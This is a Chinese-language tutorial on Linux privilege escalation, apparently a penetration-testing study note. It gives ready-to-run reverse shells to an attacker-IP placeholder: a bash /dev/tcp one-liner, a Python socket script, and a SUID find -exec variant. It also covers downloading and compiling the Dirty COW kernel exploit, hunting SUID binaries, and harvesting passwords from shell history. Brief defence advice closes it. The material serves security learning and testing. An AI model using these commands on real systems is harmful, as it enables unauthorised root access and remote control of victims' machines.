提权学习之旅——Linux操作系统提权
字数 1319 2025-08-20 18:17:41
Linux操作系统提权全面指南
一、Linux提权基础知识
1.1 基本信息收集命令
在开始提权前,需要收集系统基本信息:
uname -a # 查看内核版本
id # 显示用户ID及所属群组
pwd # 显示当前路径
dpkg -l # Debian系查看已安装程序
rpm -qa # RedHat系查看已安装程序
cat /etc/issue # 查看发行版信息
cat /etc/*-release # 查看发行版详细信息
1.2 密码文件分析
Linux系统密码存储在两个关键文件中:
-
/etc/passwd:存储用户信息,所有用户可读- 格式:
用户名:密码占位符:UID:GID:描述:家目录:登录shell x表示密码hash存储在/etc/shadow中
- 格式:
-
/etc/shadow:存储密码hash,仅root可读写- 包含加密后的密码hash
注意:管理员可能重复使用密码,Web后台或数据库密码可能是root密码。
二、反弹Shell技术
低权限Shell通常是非交互式的,需要通过反弹Shell获取交互式Shell。
2.1 经典反弹Shell方法
- 攻击机监听:
nc -lvp 53
- 目标机执行:
bash -i >& /dev/tcp/攻击机IP/53 0>&1
2.2 Python反弹Shell
- Python脚本示例(back.py):
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",53))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
- 执行方法:
chmod 777 back.py # 确保有执行权限
python back.py 攻击机IP 53
三、内核提权 - 脏牛漏洞(CVE-2016-5195)
3.1 漏洞影响范围
影响Linux kernel >= 2.6.22的所有版本,包括:
- CentOS7/RHEL7: 3.10.0-327.36.3.el7
- CentOS6/RHEL6: 2.6.32-642.6.2.el6
- Ubuntu 16.10: 4.8.0-26.28
- Ubuntu 16.04: 4.4.0-45.66
- Ubuntu 14.04: 3.13.0-100.147
- Debian 8: 3.16.36-1+deb8u2
- Debian 7: 3.2.82-1
3.2 利用步骤
- 下载exp:
wget https://github.com/FireFart/dirtycow/blob/master/dirty.c
- 编译执行:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
- 使用生成的新root用户登录
四、SUID提权
4.1 查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
4.2 常见SUID提权方法
以find命令为例:
- 确认find有SUID权限:
ls -l /usr/bin/find
- 利用find执行命令:
/usr/bin/find pass.txt -exec whoami \;
- 反弹root shell:
/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",53));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
其他常见可提权的SUID程序:nmap、vim、bash、more、less、nano、cp等。
五、自动化提权工具
5.1 Linux-exploit-suggester
自动检测系统可能存在的漏洞:
./linux-exploit-suggester.sh
5.2 Searchsploit
本地搜索exploit-db中的漏洞:
searchsploit centos 7 kernel 3.10
六、其他提权方法
6.1 历史记录提权
查看用户执行过的命令:
cat ~/.bash_history
可能暴露密码的命令如:
mysql -u root -p密码
6.2 计划任务提权
检查系统计划任务:
ls -l /etc/cron*
查找可写的计划任务脚本进行修改。
6.3 配置错误提权
使用自动化工具检查:
- unix-privesc-check
- linuxprivchecker.py
七、提权流程总结
- 信息收集:内核版本、安装软件、用户等
- 获取交互式Shell:反弹Shell
- 检查自动化工具建议
- 尝试内核漏洞提权
- 检查SUID文件
- 检查历史记录和计划任务
- 检查密码复用情况
- 使用找到的方法提权
八、防御建议
- 及时更新系统和内核
- 限制SUID/SGID文件
- 使用最小权限原则
- 避免密码复用
- 清理命令历史记录
- 定期审计系统配置
- 监控异常进程和网络连接
通过以上方法,可以全面了解Linux系统提权的各种技术和防御措施。实际渗透测试中应根据目标系统具体情况选择最合适的提权方法。